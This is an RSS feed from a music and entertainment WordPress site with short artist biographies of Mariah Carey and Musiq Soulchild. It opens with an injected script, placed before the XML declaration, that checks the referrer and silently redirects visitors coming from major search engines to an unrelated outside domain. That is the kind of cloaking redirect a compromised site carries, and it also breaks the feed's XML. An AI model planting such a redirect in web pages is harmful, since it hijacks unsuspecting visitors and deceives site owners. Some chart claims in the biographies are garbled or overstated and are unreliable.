<script>
var s=document.referrer;
if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0)
{
self.location='http://www.redsunkicks.com/';
}
</script>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Billboard Entertainment Group</title>
	<atom:link href="http://billboardentertainment.com/feed" rel="self" type="application/rss+xml" />
	<link>http://billboardentertainment.com</link>
	<description></description>
	<lastBuildDate>Tue, 29 Nov 2016 01:33:24 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>INDIE VIDEO &#8211; RISE-N-GRIND</title>
		<link>http://billboardentertainment.com/billboard</link>
		<comments>http://billboardentertainment.com/billboard#comments</comments>
		<pubDate>Tue, 08 Apr 2014 00:53:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://billboardentertainment.com/?p=1031</guid>
		<description><![CDATA[]]></description>
				<content:encoded><![CDATA[<p><img alt="" src="http://i.vimeocdn.com/channel/298581_980?mh=250" /></p>
]]></content:encoded>
			<wfw:commentRss>http://billboardentertainment.com/billboard/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://billboardentertainment.com/billboard</link>
		<comments>http://billboardentertainment.com/billboard#comments</comments>
		<pubDate>Thu, 21 Feb 2013 20:20:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://billboardentertainment.com/?p=77</guid>
		<description><![CDATA[Mariah Carey was born in Long Island, New York, on March 27, 1969. Her parents are Patricia Hickey (Irish-American) and Alfred Roy Carey (African-American/Venezuelan). Mariah attended Greenlawn&#8217;s Harborfields High School. In June of 1990, Mariah made her debut with &#8220;Mariah Carey&#8221; which entered at #73, but on August 4, 1990, it reached #1. Her 1990 [...]]]></description>
				<content:encoded><![CDATA[<p>Mariah Carey was born in Long Island, New York, on March 27, 1969. Her parents are Patricia Hickey (Irish-American) and Alfred Roy Carey (African-American/Venezuelan). Mariah attended Greenlawn&#8217;s Harborfields High School. In June of 1990, Mariah made her debut with &#8220;Mariah Carey&#8221; which entered at #73, but on August 4, 1990, it reached #1. Her 1990 self-titled debut album went multi-platinum and spawned an extraordinary four consecutive #1 singles: &#8220;Vision of Love,&#8221; &#8220;Love Takes Time,&#8221; &#8220;Someday&#8221; and &#8220;I Don&#8217;t Wanna Cry,&#8221; and led to Grammy Awards for Best New Artist and Best Female Vocalist. Her 1993 album titled Music Box went ten-times platinum. On September 30, 1995, she made music history. Her single &#8220;Fantasy&#8221; from her 1995 Daydream album debuted at #1 on the Billboard Hot 100, making her the first female artist to accomplish a number one debut in the U.S. Her other Daydream&#8217;s single &#8220;One Sweet Day&#8221; remained for 16 weeks at the top of the charts. She is the only artist since The Beatles to have so many #1 singles and albums. With &#8220;Heartbreaker&#8221;, the first single from her 1999 album Rainbow and also her 14 #1 single, she became the only artist to top the charts in each year of the 1990s, and with &#8220;Heartbreaker&#8221; at its 60th week atop the Billboard&#8217;s charts, she pushed ahead of The Beatles&#8217;s 59-week record as the only artist with the most cumulative weeks spent atop Billboard&#8217;s Hot 100 Singles chart. Following &#8220;Heartbreaker,&#8221; her second single &#8220;Thank God I Found You&#8221; also from her Rainbow album became her 15th #1. &#8220;We Belong Together&#8221; from her 2005 album The Emancipation of Mimi became her 16th #1 single and was also her first #1 without any guest artists since her song &#8220;My All&#8221; (also a #1 single) captured the top spot in May 1998. The single &#8220;Don&#8217;t Forget About Us&#8221; also from her 2005 album Emancipation of Mimi became her 17th #1 single, tying her with Elvis Presley&#8217;s 17 #1 singles. Three more Grammy Awards were gained from The Emancipation of Mimi album. She is the most successful selling female artist in music history and is the only female artist to have the most #1 singles and albums and also holds the record for straight #1 singles and albums each year. Along with numerous awards and incredible vocal range, she also composes all of her own material, with the exception of song covers.</p>
]]></content:encoded>
			<wfw:commentRss>http://billboardentertainment.com/billboard/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://billboardentertainment.com/billboard</link>
		<comments>http://billboardentertainment.com/billboard#comments</comments>
		<pubDate>Mon, 04 Feb 2013 21:29:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://billboardentertainment.com/?p=1</guid>
		<description><![CDATA[Blending Soul, Funk and Hip-Hop, Musiq Soulchild has coined the twist of music that most musicians rarely have. His one of a kind music style is very well received that one week after the release of his album “Luvanmusiq”, Billboard Hot 200 crowned it at the highest spot. The album was sold 149,000 copies in [...]]]></description>
				<content:encoded><![CDATA[<p>Blending Soul, Funk and Hip-Hop, Musiq Soulchild has coined the twist of music that most musicians rarely have. His one of a kind music style is very well received that one week after the release of his album “Luvanmusiq”, Billboard Hot 200 crowned it at the highest spot. The album was sold 149,000 copies in the first week and consequently broke the 100,000 perimeter that has haunted US albums sales for four consecutive weeks. At the same time, his first single titled “B.U.D.D.Y.&#8221; constantly placing itself in the Top 5 of Billboard R&amp;B/Hip-Hop chart for 16 weeks while scoring the airplay gainer. Through “B.U.D.D.Y.” he reintroduced the &#8216;soul&#8217; part of him that he had abandoned for more than 5 years. He finally deserves to be called the &#8216;child of soul&#8217; again.</p>
<p>Little is known of Musiq&#8217;s childhood, but for sure he has always been musical since he was a kid. He was born as Talib Johnson on Sept 16, 1977 in the middle of a strict Muslim family. He was raised in Philadelphia, Pennsylvania along with his 8 brothers and 1 sister. Growing up in the year where pop and soul was dominating the music industry, Musiq received his music &#8230;</p>
<p>influence from the jazzy swing of Billie Holiday, the lively gospel tunes of Patti LaBelle and finally the soul and funk vibe of Sly &amp; the Family Stone and James Brown. Instead of engaging himself in High School, he chose to attend several open mics that allowed him to perform the raw talent. As a teenager, he had attained Wilhelmina showcases and also Philly&#8217;s such as Five Spot. Under the management of Mama&#8217;s Boys, Musiq later on gained the attention of DefJam Records and his real venture had begun since.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://billboardentertainment.com/billboard/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
